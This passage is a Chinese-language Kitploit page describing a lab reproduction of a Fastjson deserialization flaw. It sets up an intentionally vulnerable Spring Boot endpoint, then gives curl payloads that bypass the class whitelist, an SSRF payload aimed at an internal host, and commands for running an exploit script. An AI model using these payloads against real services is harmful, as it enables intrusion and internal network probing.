Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
fastjson-CVE-2026-16723 — CVE-2026-16723 Fastjson 1.2.68-1.2.83 ???? RCE ?? (java.lang.Class whitelist bypass) | Kitploit
工具/GitHubGitHub/ethen1212/fastjson-cve-2026-16723
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubethen1212/fastjson-cve-2026-16723

fastjson-CVE-2026-16723

CVE-2026-16723 Fastjson 1.2.68-1.2.83 ???? RCE ?? (java.lang.Class whitelist bypass)

查看仓库
11个月前尚未审核
分享

CVE-2026-16723: Fastjson 1.2.68-1.2.83 反序列化 RCE 复现

CVE-2026-16723 | Alibaba Fastjson | 反序列化 RCE (CWE-502) | CVSS 9.0 CRITICAL 修复版本:1.x 无官方补丁,建议迁移 Fastjson 2.x 或启用 SafeMode 在野利用:是

目录

  1. 漏洞概述
  2. 环境检查
  3. 环境搭建
  4. 漏洞复现
  5. 原理解析
  6. EXP 使用
  7. 检测与缓解
  8. 参考资料

1. 漏洞概述

项目内容
CVECVE-2026-16723
组件Alibaba Fastjson 1.x
受影响版本1.2.68 ~ 1.2.83
漏洞类型反序列化 RCE (CWE-502)
CVSS9.0 CRITICAL (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
在野利用是
发现者Kirill Firsov (FearsOff Cybersecurity)
利用条件Spring Boot fat-jar 部署 + 未启用 SafeMode
特殊之处无需开启 AutoType、无需 classpath gadget

核心机制

Fastjson 1.2.68-1.2.83 的 ParserConfig.INTERNAL_WHITELIST 中包含 java.lang.Class。 当 Fastjson 反序列化 java.lang.Class 类型时,通过 MiscCodec 调用 TypeUtils.loadClass(className, defaultClassLoader, false) 加载任意类。

在 Spring Boot fat-jar 部署中,默认类加载器为 org.springframework.boot.loader.LaunchedURLClassLoader, 攻击者可通过构造恶意 JSON 实例化任意类,结合其他 gadget 链实现 RCE。


2. 环境检查

2.1 前置要求

# 进入 Kali WSL
wsl -d kali-linux

# 检查 Java
java -version
# 需 JDK 8+ (推荐 JDK 11/17)

# 检查 Maven
mvn -version
# 需 Maven 3.6+

# 如未安装:
apt-get install -y default-jdk maven

2.2 检查 Fastjson 版本

# 在项目目录中检查依赖
find ~/.m2 -name "fastjson-1.2.*.jar" | sort
# 受影响版本:1.2.68, 1.2.69, ..., 1.2.83

2.3 检查 Spring Boot 部署模式

# 确认应用以 fat-jar 运行
unzip -l target/app.jar | grep "BOOT-INF"
# 应输出 BOOT-INF/classes/ 和 BOOT-INF/lib/

# 确认类加载器
# 在应用启动日志中查找:
# "classLoader" : "org.springframework.boot.loader.LaunchedURLClassLoader"

3. 环境搭建

3.1 创建 Spring Boot 项目

mkdir -p ~/work/fastjson-cve/springboot-app
cd ~/work/fastjson-cve/springboot-app

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
        <relativePath/>
    </parent>
    <groupId>com.example</groupId>
    <artifactId>fastjson-demo</artifactId>
    <version>1.0</version>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <!-- 漏洞版本 -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

3.2 创建漏洞端点

mkdir -p src/main/java/com/example

src/main/java/com/example/DemoApplication.java:

package com.example;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.*;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.*;

@SpringBootApplication
@RestController
public class DemoApplication {
    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

    // 漏洞端点:默认配置,无 SafeMode
    @PostMapping("/parse")
    public Map<String, Object> parse(@RequestBody String body) {
        Map<String, Object> result = new LinkedHashMap<>();
        try {
            Object obj = JSON.parse(body);
            result.put("status", "ok");
            result.put("class", obj != null ? obj.getClass().getName() : "null");
            result.put("value", obj != null ? obj.toString() : "null");
        } catch (Exception e) {
            result.put("status", "error");
            result.put("error", e.getMessage());
        }
        return result;
    }

    // 检查类是否可被加载
    @GetMapping("/check")
    public Map<String, Object> check(@RequestParam String className) {
        Map<String, Object> result = new LinkedHashMap<>();
        ParserConfig pc = ParserConfig.getGlobalInstance();
        try {
            Class<?> clazz = pc.checkAutoType(className, null);
            result.put("class", clazz != null ? clazz.getName() : "null");
            result.put("allowed", clazz != null);
        } catch (Exception e) {
            result.put("error", e.getMessage());
            result.put("allowed", false);
        }
        return result;
    }

    // 获取配置信息
    @GetMapping("/info")
    public Map<String, Object> info() {
        Map<String, Object> result = new LinkedHashMap<>();
        ParserConfig pc = ParserConfig.getGlobalInstance();
        result.put("autoTypeSupport", pc.isAutoTypeSupport());
        result.put("safeMode", pc.isSafeMode());
        result.put("classLoader",
            getClass().getClassLoader().getClass().getName());
        return result;
    }
}

3.3 编译与运行

# 编译
mvn package -DskipTests

# 运行(默认端口 8080)
java -jar target/fastjson-demo-1.0.jar

# 验证启动
curl http://127.0.0.1:8080/info
# 应返回:
# {"autoTypeSupport":false,"safeMode":false,
#  "classLoader":"org.springframework.boot.loader.LaunchedURLClassLoader"}

4. 漏洞复现

4.1 验证漏洞存在

# 检查目标配置
curl http://127.0.0.1:8080/info | python3 -m json.tool

预期输出(漏洞状态):

{
  "autoTypeSupport": false,
  "safeMode": false,
  "classLoader": "org.springframework.boot.loader.LaunchedURLClassLoader"
}

4.2 核心演示:java.lang.Class 白名单绕过

原理: java.lang.Class 在 Fastjson 内部白名单中,可通过 @type 实例化并加载任意类。

# 加载 java.lang.Runtime
curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.lang.Class","val":"java.lang.Runtime"}'

# 加载 java.lang.ProcessBuilder
curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.lang.Class","val":"java.lang.ProcessBuilder"}'

# 加载 URLClassLoader(通常被 autoType 拒绝,但 java.lang.Class 可绕过)
curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.lang.Class","val":"java.net.URLClassLoader"}'

预期输出:

{"status":"ok","class":"java.lang.Class","value":"class java.lang.Runtime"}

4.3 SSRF 演示:java.net.URL + HashMap

原理: java.net.URL 在内部白名单中,放入 HashMap 触发 hashCode() 导致 DNS/HTTP 请求。

curl -s -X POST http://127.0.0.1:8080/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.util.HashMap",
        "a":{"@type":"java.net.URL","val":"http://internal-service.local:8080/admin"},
        "b":{"@type":"java.net.URL","val":"http://internal-service.local:8080/admin"}}'

4.4 检查类加载能力

# 检查单个类
curl http://127.0.0.1:8080/check?className=java.lang.Runtime
# {"class":"java.lang.Runtime","allowed":true}

curl http://127.0.0.1:8080/check?className=java.lang.Class
# {"class":"java.lang.Class","allowed":true}

# 被 autoType 拒绝的类
curl http://127.0.0.1:8080/check?className=com.sun.rowset.JdbcRowSetImpl
# {"error":"autoType is not support. ...","allowed":false}

4.5 完整 EXP 运行

cd ~/work/fastjson-cve

# 检测漏洞
python3 env/fastjson_exp.py http://127.0.0.1:8080/parse --check

# 加载指定类
python3 env/fastjson_exp.py http://127.0.0.1:8080/parse --class java.lang.Runtime

# SSRF 测试
python3 env/fastjson_exp.py http://127.0.0.1:8080/parse --ssrf http://internal.local:8080/secret

# 列出可测试的类
python3 env/fastjson_exp.py http://127.0.0.1:8080/parse --list

# 完整演示
python3 env/fastjson_exp.py http://127.0.0.1:8080/parse

5. 原理解析

5.1 调用链

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    2.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    978
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    475
  • 4

    wifit3

    derv82/wifit3

    Wifite 但仅限 USB 且跨平台。

    420
  • 5

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    383
  • 6

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    321

探索所有工具

浏览我们的工具集合

查看所有工具 →